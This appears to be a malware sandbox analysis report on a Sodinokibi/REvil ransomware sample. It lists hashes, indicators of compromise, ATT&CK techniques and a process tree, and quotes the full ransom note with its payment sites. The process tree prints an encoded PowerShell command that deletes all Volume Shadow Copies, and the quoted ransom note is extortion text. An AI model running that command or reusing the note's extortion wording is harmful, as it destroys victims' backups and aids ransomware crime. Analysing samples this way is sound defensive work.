sodinokibi | 7559e6ca8b77400f88bf4e67208a1c32570a670068eccae9e3d226cc5471bd47

Resubmissions

28-04-2024 18:31

240428-w6cwyaec5v 10

21-04-2024 08:57

21-04-2024 05:45

18-04-2024 19:05

18-04-2024 16:34

04-03-2024 18:33

02-03-2024 17:01

02-03-2024 10:05

Analysis

max time kernel
1561s
max time network
1563s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
02-03-2024 10:05

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bazaar.2020.02/HEUR-Trojan-Ransom.Win32.Sodin.dll
Size

164KB
MD5

d017828944f5365b17520051ac994d03
SHA1

7a5b42b5645b9685dc3864a860dd3f4a042ffc50
SHA256

22e6baf4d3e4dba5f6f3ab349700d0169eeeb4a989b20b64a6aefba8be9fa64a
SHA512

58e259497c0cc3bec6527685d33afa9137fcb5640be1c57b390a2ef69b1878d34f72723f5587d984d84a5b5558961a8731285b4cf3c3b733a931bd6a4d8eb4c0
SSDEEP

3072:v0XoUeZ/DVS8L73ea4MoCLfqQvFfDRPzOYQPbkMK:veoUeZR2TRCWQFf9PHQPbvK

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\Users\zp3ur46dra-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension zp3ur46dra. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/DA3DDCD21747E72A 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/DA3DDCD21747E72A Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: q7jLddSx1N6azzx1CDRt4ZJDrgnJeYvrAhdbOlyyW/UMITxIQqg/LhNN1z/b6jca Bj5jm88NALSng0JmPzG6ZptQvX6CLFVg7x9wMyXvA5qYcMCO+Dao9WoclVcgAfsb gv3tuY3b2qetaLRqzSJ4BylTFeC9iRDauft4DowmEjTqTgZmqlkDYaMQQ0UFAhdP rH0NDcFZo2HPCCFU3Ea4uryPWYSLB8OqJvwd9QGJJq849HQdxuATUfWvzYwKiCS+ JQ31J8ut3sX7/BOCJwtjst+tjVRJjj52aUEomHYMJYVcBifZL2QdiQde/7RT9FWc U/BgslODQJCz6ATrErMk+jEjet2vLmGPwCCXUWFrcqYnN4+nW7s1vM+RKbYUtKQT AQyddLtUkDdFwcLjdgVKaquMH5GXecazw7wxS7E+1XoxtuEbEVSr/lpJwzxCZ9ZI vqvhsJpRfKGEktjRiz1hU+P583LS6GaUK/Gbwtjz9C1KU8L+ZxHaovqOx19xGSs5 mppyVpRWptunp/N+F1G7lZV8xKeR18kWD6y+J3AhzaTMd+3GwBvop0kev87ilbkn kq49AWau7jk5Wk9DnHvic7W4/8vDx8U2gEQZM59PT92eoiIEcbTBVS3Vp23GjYxq D/QdCHukEBN1R54UqjniVggUwCuJupE0P6DpGQngQSBX4oFUxis8y1AIZJDt2VJj ayl58l7M8mDPWWTxjc5qPG9Zu8MfQhC+TqhGZFffs53EUG+f6cN4wZI1pZV/wgTt rJzrhrKE0wMj2pRVEgDDHIfStQHwj4MslTNIJxgCM6aIb+DPkfEQHm7kXWkWlCPk y7f72sXEBYDnN9d3tzSo3RbcarSj2JiugljYBtEBIHwc403OLPNaItWuk5xCNB0I LxwAmJCX79qaDjzZEuweOGUClgdfGV3s3107t3jZ+GVVd6a9Had86pp3vIpI87Qq DPTihDdthxO7kKJRC7gjmA126eFrwaI+atvDz1uzdzfgzmO/dltxYmM2QK6qO+Om wGH+Bn3T2O8MwKRx1tM4IiTrcJ1aEHOOGudcYrdSkfp5zyb6pmUFMiaVByKt0Oc1 ONR9oDm3L0P/zGTdhz6d5YCyu0fZKWasrV6Poqk9imStMjKOV28rZywWAfDJPjPK CBz+TJoIhr3WJjkGLyZ7FSNRMRzydfYfwm6FKnrv2V4/ZCmlhnGzFDnhzehS/e14 P5ecimWTCEaZ16LBox1PurxJoxg= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/DA3DDCD21747E72A

http://decryptor.cc/DA3DDCD21747E72A

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	Process
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe

Drops file in Program Files directory 27 IoCs

Processes:

rundll32.exe

description	ioc	Process
File opened for modification	\??\c:\program files\EditExit.vst	rundll32.exe
File opened for modification	\??\c:\program files\ResolveSend.ADT	rundll32.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\zp3ur46dra-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\StopMerge.xlsb	rundll32.exe
File opened for modification	\??\c:\program files\WatchGrant.vsx	rundll32.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\zp3ur46dra-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\SuspendRestore.kix	rundll32.exe
File opened for modification	\??\c:\program files\UnprotectClose.txt	rundll32.exe
File opened for modification	\??\c:\program files\WatchMeasure.wps	rundll32.exe
File opened for modification	\??\c:\program files\DisconnectConnect.mpeg	rundll32.exe
File opened for modification	\??\c:\program files\ResolveSync.tif	rundll32.exe
File opened for modification	\??\c:\program files\RevokePop.rle	rundll32.exe
File opened for modification	\??\c:\program files\OpenExpand.TTS	rundll32.exe
File opened for modification	\??\c:\program files\RegisterProtect.xlsb	rundll32.exe
File created	\??\c:\program files\zp3ur46dra-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\ConvertBlock.i64	rundll32.exe
File opened for modification	\??\c:\program files\CopySplit.odt	rundll32.exe
File opened for modification	\??\c:\program files\ResetRepair.m1v	rundll32.exe
File created	\??\c:\program files (x86)\microsoft sql server compact edition\v3.5\zp3ur46dra-readme.txt	rundll32.exe
File created	\??\c:\program files (x86)\zp3ur46dra-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\ConvertFind.tmp	rundll32.exe
File opened for modification	\??\c:\program files\ReadSplit.reg	rundll32.exe
File opened for modification	\??\c:\program files\ConvertFromEnter.mhtml	rundll32.exe
File opened for modification	\??\c:\program files\DismountReset.mht	rundll32.exe
File opened for modification	\??\c:\program files\StopWatch.M2TS	rundll32.exe
File opened for modification	\??\c:\program files\ExportConvertTo.mpp	rundll32.exe
File opened for modification	\??\c:\program files\InitializeInvoke.asx	rundll32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

rundll32.exepowershell.exe

pid	Process
1884	rundll32.exe
2688	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	Process
Token: SeDebugPrivilege	1884	rundll32.exe
Token: SeDebugPrivilege	2688	powershell.exe
Token: SeBackupPrivilege	2412	vssvc.exe
Token: SeRestorePrivilege	2412	vssvc.exe
Token: SeAuditPrivilege	2412	vssvc.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	Process	procid_target
PID 1984 wrote to memory of 1884	1984	rundll32.exe	29
PID 1984 wrote to memory of 1884	1984	rundll32.exe	29
PID 1984 wrote to memory of 1884	1984	rundll32.exe	29
PID 1984 wrote to memory of 1884	1984	rundll32.exe	29
PID 1984 wrote to memory of 1884	1984	rundll32.exe	29
PID 1984 wrote to memory of 1884	1984	rundll32.exe	29
PID 1984 wrote to memory of 1884	1984	rundll32.exe	29
PID 1884 wrote to memory of 2688	1884	rundll32.exe	30
PID 1884 wrote to memory of 2688	1884	rundll32.exe	30
PID 1884 wrote to memory of 2688	1884	rundll32.exe	30
PID 1884 wrote to memory of 2688	1884	rundll32.exe	30

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:1984
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
  2⤵
  - Enumerates connected drives
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1884
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2688

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2528

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2412

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\zp3ur46dra-readme.txt

Filesize
6KB

MD5
9c11fa2253da38c46160a2d113797472

SHA1
d9194bd562815d01ae821e4eec26158c008398f1

SHA256
864fe2ac7449e114ee48d98ae5c06658d6bae0487ef18203ad8551d42cb461e3

SHA512
39b1aa222e6113e51ca07c708de9ff328e3ac8ab4c0e425c2109073696bcd50eea0087cdaccd3d8fa09aa7d0a3c567e70e48ab013b61300230f28ccb507ca39c

Download Submit
memory/2688-5-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download
memory/2688-6-0x0000000002A60000-0x0000000002AE0000-memory.dmp

Filesize
512KB

Download
memory/2688-4-0x000000001B740000-0x000000001BA22000-memory.dmp

Filesize
2.9MB

Download
memory/2688-7-0x0000000000370000-0x0000000000378000-memory.dmp

Filesize
32KB

Download
memory/2688-8-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download
memory/2688-9-0x0000000002A60000-0x0000000002AE0000-memory.dmp

Filesize
512KB

Download
memory/2688-10-0x0000000002A60000-0x0000000002AE0000-memory.dmp

Filesize
512KB

Download
memory/2688-11-0x0000000002A60000-0x0000000002AE0000-memory.dmp

Filesize
512KB

Download
memory/2688-12-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

Filesize
9.6MB

Download